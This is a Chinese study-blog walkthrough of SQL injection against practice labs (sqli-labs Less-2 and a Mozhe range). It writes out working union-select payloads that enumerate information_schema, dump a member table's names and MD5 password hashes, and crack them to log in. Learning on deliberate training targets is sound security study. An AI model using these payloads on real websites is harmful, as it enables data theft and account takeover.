网安学习day12(SQL注入)

SQL注入

    • 前言:
    • 思维导图简要说明
    • 原理
    • 理论分析
    • 步骤
    • 实操
      • 配置环境
      • sqlilab Less-2的实操
      • 墨者靶机 MYSQL 注入演示
    • 如何判读注入点

前言:

  • 在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

网安学习day12(SQL注入)_第1张图片

思维导图简要说明

  • SQL注入安全测试中危害
  • SQL注入产生原理详细分析
  • 可控变量,带入数据库查询,变量未存在过滤或过滤不严重

原理

  • Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

理论分析

www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id10-------网站默认加上了首页文件指向index.php
www.xiaodi8.com/?id=8&x=1----------多了参数
www.xiaodi8.com/index.php----------post注入

  • Q:可能存在注入的编号选项有哪几个
  • A:第一个第二个第三个 。其实都有

  • Q:参数x有注入,以下哪个注入测试正确?
    • www.xiaodi8.com/news.php?y=1 and 1=1 &x=2----------主语句给了y没有给x
    • www.xiaodi8.com/news.php?y=1 & x=2 and 1=1 ----------正确
    • www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1---------正确
    • www.xiaodi8.com/news.php?xx=1 and 1=1 & xxx=2 and 1=1------参数名不对
  • ?:后面有参数,&:连接参数名
  • A:第二个和第三个

步骤

网安学习day12(SQL注入)_第2张图片

实操

配置环境

下载phpstudy,并安装pikachu,sqli_libs。

教程及安装链接:https://blog.csdn.net/liguangyao213/article/details/122698215

sqlilab Less-2的实操

配置好后进入phpstudy_pro\WWW\sqli-labs-master\Less-2目录下的index文件
cmd查看ip地址然后浏览器输入ip。进入sqlilabs
网安学习day12(SQL注入)_第3张图片

  • 在网址后输入index.php?id=1
    网安学习day12(SQL注入)_第4张图片
    修改代码。添加一个输出
    网安学习day12(SQL注入)_第5张图片
    返回页面变成了一条sql语句

网安学习day12(SQL注入)_第6张图片
id改为2后
网安学习day12(SQL注入)_第7张图片
这里分为几步
- 接收数据
- 拼接数据
- 数据库执行
- 数据库展示

登录
网安学习day12(SQL注入)_第8张图片

用sql语句查询:select * from users where id=1;

网安学习day12(SQL注入)_第9张图片
联合查询邮箱— SELECT * FROM users WHERE id=-1 union select 1,email_id from emails LIMIT 0,1;
网安学习day12(SQL注入)_第10张图片

墨者靶机 MYSQL 注入演示

进入 SQL手工注入漏洞测试(MySQL数据库-字符型) 靶场

网安学习day12(SQL注入)_第11张图片
访问
网安学习day12(SQL注入)_第12张图片
发现页面http://124.70.22.208:47552/new_list.php?id=1有注入点

  • 判断注入
    • 猜解列名数量(字段数) order by 判断错误正常的值

输入 order by 1 发现正常网安学习day12(SQL注入)_第13张图片


依次输入 order by 2,3,4,5后,发现1234都正常,输入5后页面空白。说明有4个id网安学习day12(SQL注入)_第14张图片

  • 猜解准备
添加语句为:http://124.70.22.208:47552/new_list.phpid=1%20union%20select%201,2,3,4

让页面报错:添加 and 1=2 或者 id=-1

  • 信息收集:
    • 数据库版本:version()
    • 数据库名字:database()
    • 数据用户:user()
    • 操作系统:@@version_compile_os

如图,页面出现了2,3。如果要显示信息就需要在对应的数字下改动网安学习day12(SQL注入)_第15张图片
我们在2这里修改database(),3修改user()网安学习day12(SQL注入)_第16张图片
利用这些将所有信息收集全
数据库版本:version()-----------5.7.22-0ubuntu0.16.04.1
- 数据库名字:database()--------mozhe_Discuz_StormGroup
- 数据用户:user()----------root@localhost
- 操作系统:@@version_compile_os --------Linux


小知识:
1.在MySQL5.0以上的版本中,MySQL存在一个自带数据库名为:information_schema,它是一个存储有所有数据库名、表名、列名的数据库,也相当于可以通过查询他获取指定数据库下面的表面和列表信息。
2.数据库符号"."表示下一级,nuc.Eidson就表示nuc数据库下Edison表名
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
table_schema:数据库名
Table_name:表名

  • 查询指定数据库mozhe_Discuz_StormGroup名下的表名信息
http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=%27mozhe_Discuz_StormGroup%27

网安学习day12(SQL注入)_第17张图片

  • 查询指定表名(StormGroup_member表)
http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27

网安学习day12(SQL注入)_第18张图片

  • 查询指定数据(id,password)

http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member

网安学习day12(SQL注入)_第19张图片
账号:mozhe
密码:356f589a7df439f6f744ff19bb8092c0
通过md5解码
网安学习day12(SQL注入)_第20张图片
最后结果
账号:mozhe
密码:dsan13
可是发现不行
网安学习day12(SQL注入)_第21张图片

继续尝试

http://124.70.22.208:47552/new_list.php?id=0%20union%20select%201,name,password,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member%20limit%201,1

网安学习day12(SQL注入)_第22张图片
看样子应该是可以,去MD5解个码
网安学习day12(SQL注入)_第23张图片
尝试登录
网安学习day12(SQL注入)_第24张图片
成功!
提交key
网安学习day12(SQL注入)_第25张图片

如何判读注入点

  • and 1=1 页面正常
  • and 1=2 页面错误—可能存在注入点
举例:
select * from users where id=1 and 1=1;正常
select * from users where id=1 and 1=2;错误
解释:
1=1正确,1=2错误
and运算原则是1 and 1 =11 and 0 =0


  • 逻辑运算符
    或 且 非 or and xor
    真且真=真;真且假=假;真或假=真

你可能感兴趣的:(网安学习,学习,sql,安全)